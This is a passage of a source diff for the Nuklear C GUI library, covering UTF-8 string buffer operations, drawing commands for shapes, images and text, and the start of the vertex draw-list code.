+ /* memmove */ + NK_ASSERT(((int)pos + (int)len + ((int)copylen - 1)) >= 0); + NK_ASSERT(((int)pos + ((int)copylen - 1)) >= 0); + dst = nk_ptr_add(char, s->buffer.memory.ptr, pos + len + (copylen - 1)); + src = nk_ptr_add(char, s->buffer.memory.ptr, pos + (copylen-1)); + for (i = 0; i < copylen; ++i) *dst-- = *src--; + mem = nk_ptr_add(void, s->buffer.memory.ptr, pos); + NK_MEMCPY(mem, str, (nk_size)len * sizeof(char)); + s->len = nk_utf_len((char *)s->buffer.memory.ptr, (int)s->buffer.allocated); + return 1; +} +NK_API int +nk_str_insert_at_rune(struct nk_str *str, int pos, const char *cstr, int len) +{ + int glyph_len; + nk_rune unicode; + const char *begin; + const char *buffer; + + NK_ASSERT(str); + NK_ASSERT(cstr); + NK_ASSERT(len); + if (!str || !cstr || !len) return 0; + begin = nk_str_at_rune(str, pos, &unicode, &glyph_len); + if (!str->len) + return nk_str_append_text_char(str, cstr, len); + buffer = nk_str_get_const(str); + if (!begin) return 0; + return nk_str_insert_at_char(str, (int)(begin - buffer), cstr, len); +} +NK_API int +nk_str_insert_text_char(struct nk_str *str, int pos, const char *text, int len) +{ + return nk_str_insert_text_utf8(str, pos, text, len); +} +NK_API int +nk_str_insert_str_char(struct nk_str *str, int pos, const char *text) +{ + return nk_str_insert_text_utf8(str, pos, text, nk_strlen(text)); +} +NK_API int +nk_str_insert_text_utf8(struct nk_str *str, int pos, const char *text, int len) +{ + int i = 0; + int byte_len = 0; + nk_rune unicode; + + NK_ASSERT(str); + NK_ASSERT(text); + if (!str || !text || !len) return 0; + for (i = 0; i < len; ++i) + byte_len += nk_utf_decode(text+byte_len, &unicode, 4); + nk_str_insert_at_rune(str, pos, text, byte_len); + return len; +} +NK_API int +nk_str_insert_str_utf8(struct nk_str *str, int pos, const char *text) +{ + int runes = 0; + int byte_len = 0; + int num_runes = 0; + int glyph_len = 0; + nk_rune unicode; + if (!str || !text) return 0; + + glyph_len = byte_len = nk_utf_decode(text+byte_len, &unicode, 4); + while (unicode != '\0' && glyph_len) { + glyph_len = nk_utf_decode(text+byte_len, &unicode, 4); + byte_len += glyph_len; + num_runes++; + } + nk_str_insert_at_rune(str, pos, text, byte_len); + return runes; +} +NK_API int +nk_str_insert_text_runes(struct nk_str *str, int pos, const nk_rune *runes, int len) +{ + int i = 0; + int byte_len = 0; + nk_glyph glyph; + + NK_ASSERT(str); + if (!str || !runes || !len) return 0; + for (i = 0; i < len; ++i) { + byte_len = nk_utf_encode(runes[i], glyph, NK_UTF_SIZE); + if (!byte_len) break; + nk_str_insert_at_rune(str, pos+i, glyph, byte_len); + } + return len; +} +NK_API int +nk_str_insert_str_runes(struct nk_str *str, int pos, const nk_rune *runes) +{ + int i = 0; + nk_glyph glyph; + int byte_len; + NK_ASSERT(str); + if (!str || !runes) return 0; + while (runes[i] != '\0') { + byte_len = nk_utf_encode(runes[i], glyph, NK_UTF_SIZE); + nk_str_insert_at_rune(str, pos+i, glyph, byte_len); + i++; + } + return i; +} +NK_API void +nk_str_remove_chars(struct nk_str *s, int len) +{ + NK_ASSERT(s); + NK_ASSERT(len >= 0); + if (!s || len < 0 || (nk_size)len > s->buffer.allocated) return; + NK_ASSERT(((int)s->buffer.allocated - (int)len) >= 0); + s->buffer.allocated -= (nk_size)len; + s->len = nk_utf_len((char *)s->buffer.memory.ptr, (int)s->buffer.allocated); +} +NK_API void +nk_str_remove_runes(struct nk_str *str, int len) +{ + int index; + const char *begin; + const char *end; + nk_rune unicode; + + NK_ASSERT(str); + NK_ASSERT(len >= 0); + if (!str || len < 0) return; + if (len >= str->len) { + str->len = 0; + return; + } + + index = str->len - len; + begin = nk_str_at_rune(str, index, &unicode, &len); + end = (const char*)str->buffer.memory.ptr + str->buffer.allocated; + nk_str_remove_chars(str, (int)(end-begin)+1); +} +NK_API void +nk_str_delete_chars(struct nk_str *s, int pos, int len) +{ + NK_ASSERT(s); + if (!s || !len || (nk_size)pos > s->buffer.allocated || + (nk_size)(pos + len) > s->buffer.allocated) return; + + if ((nk_size)(pos + len) < s->buffer.allocated) { + /* memmove */ + char *dst = nk_ptr_add(char, s->buffer.memory.ptr, pos); + char *src = nk_ptr_add(char, s->buffer.memory.ptr, pos + len); + NK_MEMCPY(dst, src, s->buffer.allocated - (nk_size)(pos + len)); + NK_ASSERT(((int)s->buffer.allocated - (int)len) >= 0); + s->buffer.allocated -= (nk_size)len; + } else nk_str_remove_chars(s, len); + s->len = nk_utf_len((char *)s->buffer.memory.ptr, (int)s->buffer.allocated); +} +NK_API void +nk_str_delete_runes(struct nk_str *s, int pos, int len) +{ + char *temp; + nk_rune unicode; + char *begin; + char *end; + int unused; + + NK_ASSERT(s); + NK_ASSERT(s->len >= pos + len); + if (s->len < pos + len) + len = NK_CLAMP(0, (s->len - pos), s->len); + if (!len) return; + + temp = (char *)s->buffer.memory.ptr; + begin = nk_str_at_rune(s, pos, &unicode, &unused); + if (!begin) return; + s->buffer.memory.ptr = begin; + end = nk_str_at_rune(s, len, &unicode, &unused); + s->buffer.memory.ptr = temp; + if (!end) return; + nk_str_delete_chars(s, (int)(begin - temp), (int)(end - begin)); +} +NK_API char* +nk_str_at_char(struct nk_str *s, int pos) +{ + NK_ASSERT(s); + if (!s || pos > (int)s->buffer.allocated) return 0; + return nk_ptr_add(char, s->buffer.memory.ptr, pos); +} +NK_API char* +nk_str_at_rune(struct nk_str *str, int pos, nk_rune *unicode, int *len) +{ + int i = 0; + int src_len = 0; + int glyph_len = 0; + char *text; + int text_len; + + NK_ASSERT(str); + NK_ASSERT(unicode); + NK_ASSERT(len); + + if (!str || !unicode || !len) return 0; + if (pos < 0) { + *unicode = 0; + *len = 0; + return 0; + } + + text = (char*)str->buffer.memory.ptr; + text_len = (int)str->buffer.allocated; + glyph_len = nk_utf_decode(text, unicode, text_len); + while (glyph_len) { + if (i == pos) { + *len = glyph_len; + break; + } + + i++; + src_len = src_len + glyph_len; + glyph_len = nk_utf_decode(text + src_len, unicode, text_len - src_len); + } + if (i != pos) return 0; + return text + src_len; +} +NK_API const char* +nk_str_at_char_const(const struct nk_str *s, int pos) +{ + NK_ASSERT(s); + if (!s || pos > (int)s->buffer.allocated) return 0; + return nk_ptr_add(char, s->buffer.memory.ptr, pos); +} +NK_API const char* +nk_str_at_const(const struct nk_str *str, int pos, nk_rune *unicode, int *len) +{ + int i = 0; + int src_len = 0; + int glyph_len = 0; + char *text; + int text_len; + + NK_ASSERT(str); + NK_ASSERT(unicode); + NK_ASSERT(len); + + if (!str || !unicode || !len) return 0; + if (pos < 0) { + *unicode = 0; + *len = 0; + return 0; + } + + text = (char*)str->buffer.memory.ptr; + text_len = (int)str->buffer.allocated; + glyph_len = nk_utf_decode(text, unicode, text_len); + while (glyph_len) { + if (i == pos) { + *len = glyph_len; + break; + } + + i++; + src_len = src_len + glyph_len; + glyph_len = nk_utf_decode(text + src_len, unicode, text_len - src_len); + } + if (i != pos) return 0; + return text + src_len; +} +NK_API nk_rune +nk_str_rune_at(const struct nk_str *str, int pos) +{ + int len; + nk_rune unicode = 0; + nk_str_at_const(str, pos, &unicode, &len); + return unicode; +} +NK_API char* +nk_str_get(struct nk_str *s) +{ + NK_ASSERT(s); + if (!s || !s->len || !s->buffer.allocated) return 0; + return (char*)s->buffer.memory.ptr; +} +NK_API const char* +nk_str_get_const(const struct nk_str *s) +{ + NK_ASSERT(s); + if (!s || !s->len || !s->buffer.allocated) return 0; + return (const char*)s->buffer.memory.ptr; +} +NK_API int +nk_str_len(struct nk_str *s) +{ + NK_ASSERT(s); + if (!s || !s->len || !s->buffer.allocated) return 0; + return s->len; +} +NK_API int +nk_str_len_char(struct nk_str *s) +{ + NK_ASSERT(s); + if (!s || !s->len || !s->buffer.allocated) return 0; + return (int)s->buffer.allocated; +} +NK_API void +nk_str_clear(struct nk_str *str) +{ + NK_ASSERT(str); + nk_buffer_clear(&str->buffer); + str->len = 0; +} +NK_API void +nk_str_free(struct nk_str *str) +{ + NK_ASSERT(str); + nk_buffer_free(&str->buffer); + str->len = 0; +} + + + + + +/* ============================================================== + * + * DRAW + * + * ===============================================================*/ +NK_LIB void +nk_command_buffer_init(struct nk_command_buffer *cb, + struct nk_buffer *b, enum nk_command_clipping clip) +{ + NK_ASSERT(cb); + NK_ASSERT(b); + if (!cb || !b) return; + cb->base = b; + cb->use_clipping = (int)clip; + cb->begin = b->allocated; + cb->end = b->allocated; + cb->last = b->allocated; +} +NK_LIB void +nk_command_buffer_reset(struct nk_command_buffer *b) +{ + NK_ASSERT(b); + if (!b) return; + b->begin = 0; + b->end = 0; + b->last = 0; + b->clip = nk_null_rect; +#ifdef NK_INCLUDE_COMMAND_USERDATA + b->userdata.ptr = 0; +#endif +} +NK_LIB void* +nk_command_buffer_push(struct nk_command_buffer* b, + enum nk_command_type t, nk_size size) +{ + NK_STORAGE const nk_size align = NK_ALIGNOF(struct nk_command); + struct nk_command *cmd; + nk_size alignment; + void *unaligned; + void *memory; + + NK_ASSERT(b); + NK_ASSERT(b->base); + if (!b) return 0; + cmd = (struct nk_command*)nk_buffer_alloc(b->base,NK_BUFFER_FRONT,size,align); + if (!cmd) return 0; + + /* make sure the offset to the next command is aligned */ + b->last = (nk_size)((nk_byte*)cmd - (nk_byte*)b->base->memory.ptr); + unaligned = (nk_byte*)cmd + size; + memory = NK_ALIGN_PTR(unaligned, align); + alignment = (nk_size)((nk_byte*)memory - (nk_byte*)unaligned); +#ifdef NK_ZERO_COMMAND_MEMORY + NK_MEMSET(cmd, 0, size + alignment); +#endif + + cmd->type = t; + cmd->next = b->base->allocated + alignment; +#ifdef NK_INCLUDE_COMMAND_USERDATA + cmd->userdata = b->userdata; +#endif + b->end = cmd->next; + return cmd; +} +NK_API void +nk_push_scissor(struct nk_command_buffer *b, struct nk_rect r) +{ + struct nk_command_scissor *cmd; + NK_ASSERT(b); + if (!b) return; + + b->clip.x = r.x; + b->clip.y = r.y; + b->clip.w = r.w; + b->clip.h = r.h; + cmd = (struct nk_command_scissor*) + nk_command_buffer_push(b, NK_COMMAND_SCISSOR, sizeof(*cmd)); + + if (!cmd) return; + cmd->x = (short)r.x; + cmd->y = (short)r.y; + cmd->w = (unsigned short)NK_MAX(0, r.w); + cmd->h = (unsigned short)NK_MAX(0, r.h); +} +NK_API void +nk_stroke_line(struct nk_command_buffer *b, float x0, float y0, + float x1, float y1, float line_thickness, struct nk_color c) +{ + struct nk_command_line *cmd; + NK_ASSERT(b); + if (!b || line_thickness <= 0) return; + cmd = (struct nk_command_line*) + nk_command_buffer_push(b, NK_COMMAND_LINE, sizeof(*cmd)); + if (!cmd) return; + cmd->line_thickness = (unsigned short)line_thickness; + cmd->begin.x = (short)x0; + cmd->begin.y = (short)y0; + cmd->end.x = (short)x1; + cmd->end.y = (short)y1; + cmd->color = c; +} +NK_API void +nk_stroke_curve(struct nk_command_buffer *b, float ax, float ay, + float ctrl0x, float ctrl0y, float ctrl1x, float ctrl1y, + float bx, float by, float line_thickness, struct nk_color col) +{ + struct nk_command_curve *cmd; + NK_ASSERT(b); + if (!b || col.a == 0 || line_thickness <= 0) return; + + cmd = (struct nk_command_curve*) + nk_command_buffer_push(b, NK_COMMAND_CURVE, sizeof(*cmd)); + if (!cmd) return; + cmd->line_thickness = (unsigned short)line_thickness; + cmd->begin.x = (short)ax; + cmd->begin.y = (short)ay; + cmd->ctrl[0].x = (short)ctrl0x; + cmd->ctrl[0].y = (short)ctrl0y; + cmd->ctrl[1].x = (short)ctrl1x; + cmd->ctrl[1].y = (short)ctrl1y; + cmd->end.x = (short)bx; + cmd->end.y = (short)by; + cmd->color = col; +} +NK_API void +nk_stroke_rect(struct nk_command_buffer *b, struct nk_rect rect, + float rounding, float line_thickness, struct nk_color c) +{ + struct nk_command_rect *cmd; + NK_ASSERT(b); + if (!b || c.a == 0 || rect.w == 0 || rect.h == 0 || line_thickness <= 0) return; + if (b->use_clipping) { + const struct nk_rect *clip = &b->clip; + if (!NK_INTERSECT(rect.x, rect.y, rect.w, rect.h, + clip->x, clip->y, clip->w, clip->h)) return; + } + cmd = (struct nk_command_rect*) + nk_command_buffer_push(b, NK_COMMAND_RECT, sizeof(*cmd)); + if (!cmd) return; + cmd->rounding = (unsigned short)rounding; + cmd->line_thickness = (unsigned short)line_thickness; + cmd->x = (short)rect.x; + cmd->y = (short)rect.y; + cmd->w = (unsigned short)NK_MAX(0, rect.w); + cmd->h = (unsigned short)NK_MAX(0, rect.h); + cmd->color = c; +} +NK_API void +nk_fill_rect(struct nk_command_buffer *b, struct nk_rect rect, + float rounding, struct nk_color c) +{ + struct nk_command_rect_filled *cmd; + NK_ASSERT(b); + if (!b || c.a == 0 || rect.w == 0 || rect.h == 0) return; + if (b->use_clipping) { + const struct nk_rect *clip = &b->clip; + if (!NK_INTERSECT(rect.x, rect.y, rect.w, rect.h, + clip->x, clip->y, clip->w, clip->h)) return; + } + + cmd = (struct nk_command_rect_filled*) + nk_command_buffer_push(b, NK_COMMAND_RECT_FILLED, sizeof(*cmd)); + if (!cmd) return; + cmd->rounding = (unsigned short)rounding; + cmd->x = (short)rect.x; + cmd->y = (short)rect.y; + cmd->w = (unsigned short)NK_MAX(0, rect.w); + cmd->h = (unsigned short)NK_MAX(0, rect.h); + cmd->color = c; +} +NK_API void +nk_fill_rect_multi_color(struct nk_command_buffer *b, struct nk_rect rect, + struct nk_color left, struct nk_color top, struct nk_color right, + struct nk_color bottom) +{ + struct nk_command_rect_multi_color *cmd; + NK_ASSERT(b); + if (!b || rect.w == 0 || rect.h == 0) return; + if (b->use_clipping) { + const struct nk_rect *clip = &b->clip; + if (!NK_INTERSECT(rect.x, rect.y, rect.w, rect.h, + clip->x, clip->y, clip->w, clip->h)) return; + } + + cmd = (struct nk_command_rect_multi_color*) + nk_command_buffer_push(b, NK_COMMAND_RECT_MULTI_COLOR, sizeof(*cmd)); + if (!cmd) return; + cmd->x = (short)rect.x; + cmd->y = (short)rect.y; + cmd->w = (unsigned short)NK_MAX(0, rect.w); + cmd->h = (unsigned short)NK_MAX(0, rect.h); + cmd->left = left; + cmd->top = top; + cmd->right = right; + cmd->bottom = bottom; +} +NK_API void +nk_stroke_circle(struct nk_command_buffer *b, struct nk_rect r, + float line_thickness, struct nk_color c) +{ + struct nk_command_circle *cmd; + if (!b || r.w == 0 || r.h == 0 || line_thickness <= 0) return; + if (b->use_clipping) { + const struct nk_rect *clip = &b->clip; + if (!NK_INTERSECT(r.x, r.y, r.w, r.h, clip->x, clip->y, clip->w, clip->h)) + return; + } + + cmd = (struct nk_command_circle*) + nk_command_buffer_push(b, NK_COMMAND_CIRCLE, sizeof(*cmd)); + if (!cmd) return; + cmd->line_thickness = (unsigned short)line_thickness; + cmd->x = (short)r.x; + cmd->y = (short)r.y; + cmd->w = (unsigned short)NK_MAX(r.w, 0); + cmd->h = (unsigned short)NK_MAX(r.h, 0); + cmd->color = c; +} +NK_API void +nk_fill_circle(struct nk_command_buffer *b, struct nk_rect r, struct nk_color c) +{ + struct nk_command_circle_filled *cmd; + NK_ASSERT(b); + if (!b || c.a == 0 || r.w == 0 || r.h == 0) return; + if (b->use_clipping) { + const struct nk_rect *clip = &b->clip; + if (!NK_INTERSECT(r.x, r.y, r.w, r.h, clip->x, clip->y, clip->w, clip->h)) + return; + } + + cmd = (struct nk_command_circle_filled*) + nk_command_buffer_push(b, NK_COMMAND_CIRCLE_FILLED, sizeof(*cmd)); + if (!cmd) return; + cmd->x = (short)r.x; + cmd->y = (short)r.y; + cmd->w = (unsigned short)NK_MAX(r.w, 0); + cmd->h = (unsigned short)NK_MAX(r.h, 0); + cmd->color = c; +} +NK_API void +nk_stroke_arc(struct nk_command_buffer *b, float cx, float cy, float radius, + float a_min, float a_max, float line_thickness, struct nk_color c) +{ + struct nk_command_arc *cmd; + if (!b || c.a == 0 || line_thickness <= 0) return; + cmd = (struct nk_command_arc*) + nk_command_buffer_push(b, NK_COMMAND_ARC, sizeof(*cmd)); + if (!cmd) return; + cmd->line_thickness = (unsigned short)line_thickness; + cmd->cx = (short)cx; + cmd->cy = (short)cy; + cmd->r = (unsigned short)radius; + cmd->a[0] = a_min; + cmd->a[1] = a_max; + cmd->color = c; +} +NK_API void +nk_fill_arc(struct nk_command_buffer *b, float cx, float cy, float radius, + float a_min, float a_max, struct nk_color c) +{ + struct nk_command_arc_filled *cmd; + NK_ASSERT(b); + if (!b || c.a == 0) return; + cmd = (struct nk_command_arc_filled*) + nk_command_buffer_push(b, NK_COMMAND_ARC_FILLED, sizeof(*cmd)); + if (!cmd) return; + cmd->cx = (short)cx; + cmd->cy = (short)cy; + cmd->r = (unsigned short)radius; + cmd->a[0] = a_min; + cmd->a[1] = a_max; + cmd->color = c; +} +NK_API void +nk_stroke_triangle(struct nk_command_buffer *b, float x0, float y0, float x1, + float y1, float x2, float y2, float line_thickness, struct nk_color c) +{ + struct nk_command_triangle *cmd; + NK_ASSERT(b); + if (!b || c.a == 0 || line_thickness <= 0) return; + if (b->use_clipping) { + const struct nk_rect *clip = &b->clip; + if (!NK_INBOX(x0, y0, clip->x, clip->y, clip->w, clip->h) && + !NK_INBOX(x1, y1, clip->x, clip->y, clip->w, clip->h) && + !NK_INBOX(x2, y2, clip->x, clip->y, clip->w, clip->h)) + return; + } + + cmd = (struct nk_command_triangle*) + nk_command_buffer_push(b, NK_COMMAND_TRIANGLE, sizeof(*cmd)); + if (!cmd) return; + cmd->line_thickness = (unsigned short)line_thickness; + cmd->a.x = (short)x0; + cmd->a.y = (short)y0; + cmd->b.x = (short)x1; + cmd->b.y = (short)y1; + cmd->c.x = (short)x2; + cmd->c.y = (short)y2; + cmd->color = c; +} +NK_API void +nk_fill_triangle(struct nk_command_buffer *b, float x0, float y0, float x1, + float y1, float x2, float y2, struct nk_color c) +{ + struct nk_command_triangle_filled *cmd; + NK_ASSERT(b); + if (!b || c.a == 0) return; + if (!b) return; + if (b->use_clipping) { + const struct nk_rect *clip = &b->clip; + if (!NK_INBOX(x0, y0, clip->x, clip->y, clip->w, clip->h) && + !NK_INBOX(x1, y1, clip->x, clip->y, clip->w, clip->h) && + !NK_INBOX(x2, y2, clip->x, clip->y, clip->w, clip->h)) + return; + } + + cmd = (struct nk_command_triangle_filled*) + nk_command_buffer_push(b, NK_COMMAND_TRIANGLE_FILLED, sizeof(*cmd)); + if (!cmd) return; + cmd->a.x = (short)x0; + cmd->a.y = (short)y0; + cmd->b.x = (short)x1; + cmd->b.y = (short)y1; + cmd->c.x = (short)x2; + cmd->c.y = (short)y2; + cmd->color = c; +} +NK_API void +nk_stroke_polygon(struct nk_command_buffer *b, float *points, int point_count, + float line_thickness, struct nk_color col) +{ + int i; + nk_size size = 0; + struct nk_command_polygon *cmd; + + NK_ASSERT(b); + if (!b || col.a == 0 || line_thickness <= 0) return; + size = sizeof(*cmd) + sizeof(short) * 2 * (nk_size)point_count; + cmd = (struct nk_command_polygon*) nk_command_buffer_push(b, NK_COMMAND_POLYGON, size); + if (!cmd) return; + cmd->color = col; + cmd->line_thickness = (unsigned short)line_thickness; + cmd->point_count = (unsigned short)point_count; + for (i = 0; i < point_count; ++i) { + cmd->points[i].x = (short)points[i*2]; + cmd->points[i].y = (short)points[i*2+1]; + } +} +NK_API void +nk_fill_polygon(struct nk_command_buffer *b, float *points, int point_count, + struct nk_color col) +{ + int i; + nk_size size = 0; + struct nk_command_polygon_filled *cmd; + + NK_ASSERT(b); + if (!b || col.a == 0) return; + size = sizeof(*cmd) + sizeof(short) * 2 * (nk_size)point_count; + cmd = (struct nk_command_polygon_filled*) + nk_command_buffer_push(b, NK_COMMAND_POLYGON_FILLED, size); + if (!cmd) return; + cmd->color = col; + cmd->point_count = (unsigned short)point_count; + for (i = 0; i < point_count; ++i) { + cmd->points[i].x = (short)points[i*2+0]; + cmd->points[i].y = (short)points[i*2+1]; + } +} +NK_API void +nk_stroke_polyline(struct nk_command_buffer *b, float *points, int point_count, + float line_thickness, struct nk_color col) +{ + int i; + nk_size size = 0; + struct nk_command_polyline *cmd; + + NK_ASSERT(b); + if (!b || col.a == 0 || line_thickness <= 0) return; + size = sizeof(*cmd) + sizeof(short) * 2 * (nk_size)point_count; + cmd = (struct nk_command_polyline*) nk_command_buffer_push(b, NK_COMMAND_POLYLINE, size); + if (!cmd) return; + cmd->color = col; + cmd->point_count = (unsigned short)point_count; + cmd->line_thickness = (unsigned short)line_thickness; + for (i = 0; i < point_count; ++i) { + cmd->points[i].x = (short)points[i*2]; + cmd->points[i].y = (short)points[i*2+1]; + } +} +NK_API void +nk_draw_image(struct nk_command_buffer *b, struct nk_rect r, + const struct nk_image *img, struct nk_color col) +{ + struct nk_command_image *cmd; + NK_ASSERT(b); + if (!b) return; + if (b->use_clipping) { + const struct nk_rect *c = &b->clip; + if (c->w == 0 || c->h == 0 || !NK_INTERSECT(r.x, r.y, r.w, r.h, c->x, c->y, c->w, c->h)) + return; + } + + cmd = (struct nk_command_image*) + nk_command_buffer_push(b, NK_COMMAND_IMAGE, sizeof(*cmd)); + if (!cmd) return; + cmd->x = (short)r.x; + cmd->y = (short)r.y; + cmd->w = (unsigned short)NK_MAX(0, r.w); + cmd->h = (unsigned short)NK_MAX(0, r.h); + cmd->img = *img; + cmd->col = col; +} +NK_API void +nk_push_custom(struct nk_command_buffer *b, struct nk_rect r, + nk_command_custom_callback cb, nk_handle usr) +{ + struct nk_command_custom *cmd; + NK_ASSERT(b); + if (!b) return; + if (b->use_clipping) { + const struct nk_rect *c = &b->clip; + if (c->w == 0 || c->h == 0 || !NK_INTERSECT(r.x, r.y, r.w, r.h, c->x, c->y, c->w, c->h)) + return; + } + + cmd = (struct nk_command_custom*) + nk_command_buffer_push(b, NK_COMMAND_CUSTOM, sizeof(*cmd)); + if (!cmd) return; + cmd->x = (short)r.x; + cmd->y = (short)r.y; + cmd->w = (unsigned short)NK_MAX(0, r.w); + cmd->h = (unsigned short)NK_MAX(0, r.h); + cmd->callback_data = usr; + cmd->callback = cb; +} +NK_API void +nk_draw_text(struct nk_command_buffer *b, struct nk_rect r, + const char *string, int length, const struct nk_user_font *font, + struct nk_color bg, struct nk_color fg) +{ + float text_width = 0; + struct nk_command_text *cmd; + + NK_ASSERT(b); + NK_ASSERT(font); + if (!b || !string || !length || (bg.a == 0 && fg.a == 0)) return; + if (b->use_clipping) { + const struct nk_rect *c = &b->clip; + if (c->w == 0 || c->h == 0 || !NK_INTERSECT(r.x, r.y, r.w, r.h, c->x, c->y, c->w, c->h)) + return; + } + + /* make sure text fits inside bounds */ + text_width = font->width(font->userdata, font->height, string, length); + if (text_width > r.w){ + int glyphs = 0; + float txt_width = (float)text_width; + length = nk_text_clamp(font, string, length, r.w, &glyphs, &txt_width, 0,0); + } + + if (!length) return; + cmd = (struct nk_command_text*) + nk_command_buffer_push(b, NK_COMMAND_TEXT, sizeof(*cmd) + (nk_size)(length + 1)); + if (!cmd) return; + cmd->x = (short)r.x; + cmd->y = (short)r.y; + cmd->w = (unsigned short)r.w; + cmd->h = (unsigned short)r.h; + cmd->background = bg; + cmd->foreground = fg; + cmd->font = font; + cmd->length = length; + cmd->height = font->height; + NK_MEMCPY(cmd->string, string, (nk_size)length); + cmd->string[length] = '\0'; +} + + + + + +/* =============================================================== + * + * VERTEX + * + * ===============================================================*/ +#ifdef NK_INCLUDE_VERTEX_BUFFER_OUTPUT +NK_API void +nk_draw_list_init(struct nk_draw_list *list) +{ + nk_size i = 0; + NK_ASSERT(list); + if (!list) return; + nk_zero(list, sizeof(*list)); + for (i = 0; i < NK_LEN(list->circle_vtx); ++i) { + const float a = ((float)i / (float)NK_LEN(list->circle_vtx)) * 2 * NK_PI; + list->circle_vtx[i].x = (float)NK_COS(a); + list->circle_vtx[i].y = (float)NK_SIN(a); + } +} +NK_API void +nk_draw_list_setup(struct nk_draw_list *canvas, const struct nk_convert_config *config, + struct nk_buffer *cmds, struct nk_buffer *vertices, struct nk_buffer *elements, + enum nk_anti_aliasing line_aa, enum nk_anti_aliasing shape_aa) +{ + NK_ASSERT(canvas); + NK_ASSERT(config); + NK_ASSERT(cmds); + NK_ASSERT(vertices); + NK_ASSERT(elements); + if (!canvas || !config || !cmds || !vertices || !elements) + return; + + canvas->buffer = cmds; + canvas->config = *config; + canvas->elements = elements; + canvas->vertices = vertices; + canvas->line_AA = line_aa; + canvas->shape_AA = shape_aa; + canvas->clip_rect = nk_null_rect; + + canvas->cmd_offset = 0; + canvas->element_count = 0; + canvas->vertex_count = 0; + canvas->cmd_offset = 0; + canvas->cmd_count = 0; + canvas->path_count = 0; +} +NK_API const struct nk_draw_command* +nk__draw_list_begin(const struct nk_draw_list *canvas, const struct nk_buffer *buffer) +{ + nk_byte *memory; + nk_size offset; + const struct nk_draw_command *cmd; + + NK_ASSERT(buffer); + if (!buffer || !buffer->size || !canvas->cmd_count) + return 0; + + memory = (nk_byte*)buffer->memory.ptr; + offset = buffer->memory.size - canvas->cmd_offset; + cmd = nk_ptr_add(const struct nk_draw_command, memory, offset); + return cmd; +} +NK_API const struct nk_draw_command* +nk__draw_list_end(const struct nk_draw_list *canvas, const struct nk_buffer *buffer) +{ + nk_size size; + nk_size offset; + nk_byte *memory; + const struct nk_draw_command *end; + + NK_ASSERT(buffer); + NK_ASSERT(canvas); + if (!buffer || !canvas) + return 0; + + memory = (nk_byte*)buffer->memory.ptr; + size = buffer->memory.size; + offset = size - canvas->cmd_offset; + end = nk_ptr_add(const struct nk_draw_command, memory, offset); + end -= (canvas->cmd_count-1); + return end; +} +NK_API const struct nk_draw_command* +nk__draw_list_next(const struct nk_draw_command *cmd, + const struct nk_buffer *buffer, const struct nk_draw_list *canvas) +{ + const struct nk_draw_command *end; + NK_ASSERT(buffer); + NK_ASSERT(canvas); + if (!cmd || !buffer || !canvas) + return 0; + + end = nk__draw_list_end(canvas, buffer); + if (cmd <= end) return 0; + return (cmd-1); +} +NK_INTERN struct nk_vec2* +nk_draw_list_alloc_path(struct nk_draw_list *list, int count) +{ + struct nk_vec2 *points; + NK_STORAGE const nk_size point_align = NK_ALIGNOF(struct nk_vec2); + NK_STORAGE const nk_size point_size = sizeof(struct nk_vec2); + points = (struct nk_vec2*) + nk_buffer_alloc(list->buffer, NK_BUFFER_FRONT, + point_size * (nk_size)count, point_align); + + if (!points) return 0; + if (!list->path_offset) { + void *memory = nk_buffer_memory(list->buffer); + list->path_offset = (unsigned int)((nk_byte*)points - (nk_byte*)memory); + } + list->path_count += (unsigned int)count; + return points; +} +NK_INTERN struct nk_vec2 +nk_draw_list_path_last(struct nk_draw_list *list) +{ + void *memory; + struct nk_vec2 *point; + NK_ASSERT(list->path_count); + memory = nk_buffer_memory(list->buffer); + point = nk_ptr_add(struct nk_vec2, memory, list->path_offset); + point += (list->path_count-1); + return *point; +} +NK_INTERN struct nk_draw_command* +nk_draw_list_push_command(struct nk_draw_list *list, struct nk_rect clip, + nk_handle texture) +{ + NK_STORAGE const nk_size cmd_align = NK_ALIGNOF(struct nk_draw_command); + NK_STORAGE const nk_size cmd_size = sizeof(struct nk_draw_command); + struct nk_draw_command *cmd; + + NK_ASSERT(list); + cmd = (struct nk_draw_command*) + nk_buffer_alloc(list->buffer, NK_BUFFER_BACK, cmd_size, cmd_align); + + if (!cmd) return 0; + if (!list->cmd_count) { + nk_byte *memory = (nk_byte*)nk_buffer_memory(list->buffer); + nk_size total = nk_buffer_total(list->buffer); + memory = nk_ptr_add(nk_byte, memory, total); + list->cmd_offset = (nk_size)(memory - (nk_byte*)cmd); + } + + cmd->elem_count = 0; + cmd->clip_rect = clip; + cmd->texture = texture; +#ifdef NK_INCLUDE_COMMAND_USERDATA + cmd->userdata = list->userdata; +#endif + + list->cmd_count++; + list->clip_rect = clip; + return cmd; +} +NK_INTERN struct nk_draw_command* +nk_draw_list_command_last(struct nk_draw_list *list) +{ + void *memory; + nk_size size; + struct nk_draw_command *cmd; + NK_ASSERT(list->cmd_count); + + memory = nk_buffer_memory(list->buffer); + size = nk_buffer_total(list->buffer); + cmd = nk_ptr_add(struct nk_draw_command, memory, size - list->cmd_offset); + return (cmd - (list->cmd_count-1)); +} +NK_INTERN void +nk_draw_list_add_clip(struct nk_draw_list *list, struct nk_rect rect) +{ + NK_ASSERT(list); + if (!list) return; + if (!list->cmd_count) { + nk_draw_list_push_command(list, rect, list->config.null.texture); + } else { + struct nk_draw_command *prev = nk_draw_list_command_last(list); + if (prev->elem_count == 0) + prev->clip_rect = rect; + nk_draw_list_push_command(list, rect, prev->texture); + } +} +NK_INTERN void +nk_draw_list_push_image(struct nk_draw_list *list, nk_handle texture) +{ + NK_ASSERT(list); + if (!list) return; + if (!list->cmd_count) { + nk_draw_list_push_command(list, nk_null_rect, texture); + } else { + struct nk_draw_command *prev = nk_draw_list_command_last(list); + if (prev->elem_count == 0) { + prev->texture = texture; + #ifdef NK_INCLUDE_COMMAND_USERDATA + prev->userdata = list->userdata; + #endif + } else if (prev->texture.id != texture.id + #ifdef NK_INCLUDE_COMMAND_USERDATA + || prev->userdata.id != list->userdata.id + #endif + ) nk_draw_list_push_command(list, prev->clip_rect, texture); + } +} +#ifdef NK_INCLUDE_COMMAND_USERDATA +NK_API void +nk_draw_list_push_userdata(struct nk_draw_list *list, nk_handle userdata) +{ + list->userdata = userdata; +} +#endif +NK_INTERN void* +nk_draw_list_alloc_vertices(struct nk_draw_list *list, nk_size count) +{ + void *vtx; + NK_ASSERT(list); + if (!list) return 0; + vtx = nk_buffer_alloc(list->vertices, NK_BUFFER_FRONT, + list->config.vertex_size*count, list->config.vertex_alignment); + if (!vtx) return 0; + list->vertex_count += (unsigned int)count; + + /* This assert triggers because your are drawing a lot of stuff and nuklear + * defined 